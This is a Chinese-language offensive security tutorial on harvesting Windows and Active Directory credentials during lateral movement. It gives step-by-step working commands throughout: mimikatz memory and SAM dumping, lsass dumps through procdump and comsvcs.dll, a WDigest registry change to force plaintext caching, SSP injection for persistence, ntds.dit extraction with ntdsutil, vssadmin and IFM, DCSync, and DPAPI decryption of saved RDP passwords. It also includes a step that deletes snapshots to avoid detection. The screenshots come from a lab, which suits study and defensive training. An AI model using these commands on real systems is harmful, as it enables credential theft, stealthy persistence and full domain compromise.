重要性

内网密码抓取决定了后续的横向成功与否

抓取密码种类

1
2
3
4
5
6
1. 本地账号密码(或者hash)
2. 域账号密码(或者hash)
3. RDP账号密码
4. 浏览器账号密码
5. 数据库账号密码
6. 本地保存账号密码文件

抓取工具

简单列举

1
2
3
1. mimikatz
2. invoke-Mimikatz.ps1
3. CS.MSF自带

mimikatz命令

Mimikatz提权后才能使用更多功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
privilege::debug
#mimikatz 很多模块需要高权限运行,因此执行高权限操作模块的时候需要先利用 privilege 模块进行提权。该命令用于提权,普通用户权限执行该提权命令会失败,管理员权限才能成功
sekurlsa::msv
#获取HASH (LM,NTLM)
sekurlsa::wdigest
#通过可逆的方式去内存中读取明文密码
sekurlsa::Kerberos
#获取域管理员的明文密码
sekurlsa::tspkg
#通过tspkg读取明文密码
sekurlsa::livessp
#通过livessp 读取明文密码
sekurlsa::ssp
#通过ssp 读取明文密码
sekurlsa::logonPasswords
#通过以上各种方法抓取内存中保存的用户所有凭据
misc::memssp
#ssp注入内存

密码抓取原理

  1. 读SAM文件

  2. 利用Lsass.exe进程

1
2
3
SAM文件中保存的是本地用户的HASH值,一般不允许读、写

在登录认证阶段, Lsass.exe会将用户明文账户密码存一份在本地,并且与SAM文件内的账号密码作对比

image-20231026105808635

在线读SAM中HASH

在线读取:在对方电脑上读取。

读取方法:利用mimikatze读取,高权限用户下才可以读取SAM文件,如:Administrator,System,过了UAC认证的管理员

1
2
3
4
5
6
7
8
9
privilege:debug
token::elevate
lsadump::sam
#分开输入

mimikatze.exe "privilege:debug" "token::elevate" "lsadump::sam" "exit"
#连起来输入

CS中 目标-转储HASH

image-20231026111753054

优点:方便快捷

缺点:mimikatze容易被杀

离线读取SAM中HASH

离线读取:将sam文件下载下来后利用mimikatze进行读取。

导出方法

  1. 通过reg命令导出
1
2
3
reg save hklm\sam sam.hive
reg save hklm\system system.hive
#reg是操作注册表命令

image-20231026113035157

  1. 使用Powershell脚本导出
1
2
3
powershell-import Copy-vss.ps1
powershell Copy-VSS
#不需要上传到对方机器,只需要上传到CS目录中运行即可

读取文件

1
lsadump::sam /sam:sam.hive /system:system.hive

image-20231026113933552

优点:不易被查杀

缺点:操作比较复杂

在线读取Lsass进程内存密码

在目标机器上直接读取lsass.exe内存到明文账号密码。

mimikatz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sekurlsa::msv 
#获取HASH (LM,NTLM)
sekurlsa::wdigest
#通过可逆的方式去内存中读取明文密码
sekurlsa::Kerberos
#获取域管理员的明文密码
sekurlsa::tspkg
#通过tspkg读取明文密码
sekurlsa::livessp
#通过livessp 读取明文密码
sekurlsa::ssp
#通过ssp 读取明文密码
sekurlsa::logonPasswords
#用以上所有方法获取凭证信息

缺点:上传工具容易被杀

离线读取Lsass进程内存密码

原理与离线读取SAM文件读取相同

导出方法

  1. 远程桌面通过任务管理器导出

image-20231026143434011

image-20231026143543742

  1. 使用procdump导出lsass.dmp文件

Procdump是用于管理员或开发人员确定峰值原因的cpu监视工具。有些杀软还是会杀

1
2
procdump.exe -accepteula -ma lsass.exe lsass.dmp
#-accepteula用于过滤掉弹窗

在命令行运行时无法点击弹窗,所以需要添加参数-accepteula

image-20231026144220632

  1. 使用powershell Out-MiniDump.ps1脚本
1
2
powershell-import Out-MiniDump.ps1
powershell Get-Process lsass | Out-Minidump

脚本放置在cs目录下导入后使用

  1. 使用系统自带comsvcs.dll,通过comsvcs.dll的导出函数MiniDump实现dump内存
1
2
3
4
5
命令:
1、首先查看lsass.exe进程PID: tasklist | findstr lsass.exe

2、使用powershell导出rundll32 C:\windows\system32\comsvcs.dll
MiniDump 476 C:\Users\Administrator\Desktop\lsass.dmp full

读取方法

  1. 使用mimikatz对导出lsass.dmp文件进行读取
1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

高版本明文密码抓取

Win7、 Win2008这样的机器内存中是存储明文的密码,但是在2012之后的机器(win10、win 8、win11、

2012、2016)或者安装了KB2971997补丁是内存中就不在存储明文的密码了,我们无法通过上述的方法

抓取到明文的密码。

如win10中,只有NTML hash,通过mimikatz无法直接抓到明文

image-20231028170631397

Win11暂时不能抓到

image-20231026154708706

但是可以抓取sam文件

image-20231026154751957

获取明文密码方法

修改Wdigest注册表

在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过

修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取。

步骤:

1
2
3
4
5
6
7
8
9
10
11
12
1.先查询一下是否存在该值 
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential

2.修改UseLogonCredential值为1,这里注意一定要是最高管理员权限
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

3.现在内存中就可以存储明文的密码了,但是因为密码在内存中,需要锁屏或者注销用户然后重新登录后,内存中就保留密码了

rundll32.exe user32.dll,LockWorkStation #锁屏
query user #查询登录
logoff ID #注销用户
#如果锁屏后仍然未抓到,尝试注销用户测试

image-20231028171242725

这里注意,必须要最高管理员用户重新登录才能抓取,普通用户重新登录后也是抓不到的!

image-20231028175110713

SSP注入内存获取系统密码

Lsass.exe在执行的时候会加载ssp,通过写入恶意ssp,让系统执行ssp记录密码。

Mimikatz中,有写好的恶意的SSP,他可以提供本地认证时候对明文账号密码进行记

录,我们需要将SSP注入到系统内存中,就可以获取本地的明文账号密码。因为是注

入内存所以重启后就失效了,这个攻击也叫 (SSP注入)

1
2
3
第一步:mimikatz misc::memssp
第二步:锁屏或者注销用户
第三步:找到c:\windows\system32\mimilsa.log文件,其中是记录的账户和密码

image-20231029142012114

image-20231029142401772

如果找不到mimilsa.log文件:因为权限问题需要进入电脑系统中去找,不能通过shell看。

解决方法:

  1. 计划任务:复制文件到另一个地方(如:copy到桌面)
1
echo copy c:\windows\system32\mimilsa.log c:\users\administrator\desktop\1.txt > 1.bat

image-20231029143119752

image-20231029143234929

1
2
3
4
schtasks /create /tn 任务名 /sc onstart /tr c:\users\administrator\desktop\1.bat /ru system /f
#创建copy计划任务
schtasks /run /i /tn "copy"
#执行copy计划任务

image-20231029143709514

  1. 将文件发送到远端服务器

SSP注入注册表

永久生效就需要将SSP添加到注册表中,之后系统重启就会加载SSP,这样就会获取明文账号密码

1
2
3
4
5
6
7
一、第一步:在Mimikatz中有一个mimilib.dll文件,这个就是SSP,将这个文件复制到
C:\Windows\System32目录下

二、第二步:修改注册表,重启后就会加载SSP
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f

三、密码将会生成在C:\Windows\System32\kiwissp.log

image-20231029152633034

注意几个问题:重启后shell可能会断开,考虑计划任务重新连接。

抓取域控上的账号密码

NTDS.DIT为DC的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以

登录到域控的用户(如域管用户、DC本地管理员用户)可以访问,为了进一步保护密码哈希值,

使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

(SAM中存的域控的本地账户密码,NTD中存的是整个域所有用户账户密码)

image-20231029153753531

1、离线读取,将NTDS文件复制到攻击者的本地,然后使用工具读取

2、在线读取,通过给域控的电脑上传读取的工具,进行在线读取

3、远程读取,不需要上线域控,可以通过Dcsync远程读取

获取域控Ntds.dit文件

使用卷影拷贝提取域控NTDS

1
从Windows XP SP2和Windows Server 2003开始,windows中引入了一项名叫卷影拷贝的服务。这种服务允许Windows系统以自动或手动的方式对文件或磁盘当前状态进行备份(或快照),即使文件处于打开状态下该服务仍然可以直接进行文件备份。Ntds.dit是默认被Windows系统锁定的,想要读取该文件就要利用卷影拷贝服务(Volume Shadow Copy Service,VSS),得到Ntds.dit文件的副本。卷影拷贝服务(VSS)本质上是属于快照技术的一种,主要用于备份和恢复,即使目标文件被处于锁定状态。
  1. ntdsutil.exe工具拷贝
1
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具,该工具默认安装在域控服务器上,可以在域控制器上直接操作,2003、2008、2012、2016等

第一步:创建一个NTDS快照(如果使用administrator或者其他通过uac认证的账户出现如下的提示,我们可以

使用令牌将权限切换到system),我们实验时不知道为什么没有出现错误

image-20231029200500888

1
2
shell ntdsutil.exe snapshot "activate instance ntds" create q q
#创建一个NTDS快照

image-20231029195511614

第二步:加载快照到磁盘

1
2
ntdsutil.exe snapshot "mount {ba8078cf-af0b-4826-81ba-2ce9737429b6}" q q
#加载快照到磁盘

image-20231029195840455

第三步:复制快照中的ntds.dit文件

1
2
copy '快照地址\Windows\NTDS\ntds.dit' 目标地址
#copy c:\$SNAP_202310291951_VOLUMEC$\Windows\NTDS\ntds.dit c:\users\administrator\desktop

image-20231029200212693

1
2
shell dir c:\users\administrator\desktop 
#查看目录下文件

image-20231029200131911

第四步:删除快照

1
2
3
ntdsutil.exe snapshot "umount {ba8078cf-af0b-4826-81ba-2ce9737429b6}" 
"delete {ba8078cf-af0b-4826-81ba-2ce9737429b6}" q q
#删除快照,防止被发现

image-20231029200838105

使用vssadmin进行NTDS拷贝

vssadmin是Windows Server 2008及Windows 7系统以上提供的VSS管理工具,它可以用于

创建或删除卷影副本,列出卷影副本的信息,他需要两步就可以进行提取NTDS文件

1
2
vssadmin create shadow /for=c:
#创建一个C盘快照

image-20231029202243747

1
2
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\ntds\ntds.dit c:\users\administrator\desktop
#ntds.dit复制出来

image-20231029202014359

1
2
vssadmin delete shadows /for=c: /quiet
#删除快照

image-20231029202141001

IFM方式进行拷贝

可以通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,

需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作

1
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下

image-20231029203448162

image-20231029203437040

1
copy "C:\test\Active Directory\ntds.dit" c:\users\administrator\desktop

image-20231029203624834

读取Ntds.dit文件

在线和离线读取方法都很多,这里选择了个人习惯的方法举例。

离线读取

因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看 ntds.dit 里内容

system.hive的导出方法在sam文件读取中有提到

1
2
shell reg save hklm\system system.hive
#导出system.hive文件

下载到本地后,可以选择很多种工具进行文件解析,

secretsdump

1
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

image-20231029210736954

1
aad3b435b51404eeaad3b435b51404ee#表示禁用状态

也可以利用impacket中的secrets dump.py脚本执行

image-20231030110616217

NTDSDumpEx

1
NTDSDumpEx.exe -d ntds.dit -s system.hive

image-20231030104833882

在线读取

在线读取的问题:工具是否被杀软杀掉

mimikatz读取

1
2
lsadump::dcsync /domain:god.org /all /csv
#读取域内所有用户

image-20231030113243554

1
2
lsadump::dcsync /domain:god.org /liukaifeng01 /csv
#读取指定用户

Dcsync攻击

1
2
3
4
什么是Dcsync(domain Controller synchronization ):域控同步:在内网中一般不是一个域控,
会有域树或者域森林等,域控之间是要同步数据的,不同的域控15分钟之间要发起一次数据同
步的请求,请求里面就包含同步的数据,这里采用的协议是DRS(目录复制服务),这个就是
DCsy

能使用DRS服务的用户(拥有dcsync的用户)

1
2
3
4
5
6
7
8
9
1. Administrators组内的用户

2. Domain Admins组内的用户

3. Enterprise Admins组内的用户

4. 域控制器的计算机帐户

域控的Administrator 和 system 也可以

关于Dcsync的利用思路

1、找到有权限的用户,从而远程读取域控用户信息,可以进行PTH 黄金 白银票据攻击

2、如果控制了域控,可以在域控添加一个管理员账号从而进行权限维持

3、可以添加一个普通的用户,修改ACL从而实现可以使用Dcsync,进行权限维持

利用Dcsync远程读取域控hash

mimikatz: DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。

  1. 找符合条件用户(拥有dcsync的用户)
1
2
lsadump::dcsync /domain:abc.com /all /csv   #读取所有用户
lsadump::dcsync /domain:abc.com /user:administrator #读取单个用户

用god\liukaifeng01 普通domain users用户登录无法读取

image-20231030131422386

切换为god\administrator用户后可以抓取

image-20231030131647908

利用Dcsync远程读取明文密码

因为账户勾选了”使用可逆加密存储密码”的属性,利用DCSync可以获取明文凭据

image-20231030132325393

添加“可逆加密存储密码”后,还需要对密码进行修改才能使其生效。

image-20231030132439301

1
2
secretsdump.exe 域名/用户名或者hash:密码@IP (域控ip)
#secretsdump.exe god/administrator@172.20.10.4,会提示输入密码,所以这个攻击前提在得知有符合条件的账户密码情况下使用

image-20231030133854332

RDP明文密码抓取

RDP–远程桌面协议

管理员为了方便管理计算机,经常会进行远程桌面连接,由于每次都需要输入密码觉得麻烦,就点击了保留凭据,这个过程是可逆,所以我们可以将保存的密码进行还原。

还原的原理:Windows就通过MasterKey将我们的密码加密后保存在本地,由于Windows还

需要解密使用这个密码,所以这个过程是可逆,也正因为这一缘由,我们只要拿到MasterKey就能将密码解出来

抓取实验

1
2
3
域控机器:192.168.52.138  

控制靶机:192.168.52.143

先在域控机器上开启远程桌面,并且首先控制靶机进行一个远程连接尝试。(勾选记住凭据

image-20231030190643674

image-20231030190738811

查看当前保存的凭据

1
2
3
4
5
6
7
1、查看mstsc的连接记录

命令:cmdkey /list

2、查找本地的Credentials

命令:dir /a %userprofile%\appdata\local\microsoft\credentials\*

image-20231030191645861

image-20231030191636457

读取RDP明文密码

  1. 使用mimikatz获取该文件的MasterKey的guid
1
mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\54461880A4E364919FB23518091F65E1

image-20231030193043730

  1. 找到上述guid对应的masterkey值
1
mimikatz sekurlsa::dpapi

image-20231030195235635

  1. mimikatz通过MasterKey值去解密凭据文件
1
2
mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\54461880A4E364919FB23518091F65E1 /masterkey:e7e7aaaace37b97b28f89f64910ab639b7eb2d7d0ae1c66cd56a214ed4b286b0597ab759e88cd118b25396e43526434908c4c2222475746ae58d38a3250d0f72
# dpapi::cred /in:凭据文件路径 /masterkey:masterkey值

image-20231030200129752

离线读取RDP明文密码

首先通过任务管理器导出lsass.exe

image-20231031101944551

同时需要把凭据下载到本地

image-20231031102520400

这里如果在文件夹中 查看是无法直接查看的,因为是隐藏文件,需要修改隐藏设置。

image-20231031102922378

image-20231031103149122

获取凭据的masterkey uid值

1
dpapi::cred /in:凭据路径

image-20231031103653213

1
sekurlsa::dpapi

找到masterkey uid对应的masterkey值

image-20231031103938078

1
dpapi::cred /in:凭据路径 /masterkey:masterkey值

解密读取

image-20231031104445663

(这里虚拟机有点问题,不能复制,就贴之前的图片了)

读取系统应用密码

系统应用:浏览器、其他各类软件

通过cs自带插件或者Sharp-HackBrowserData.exe可以获取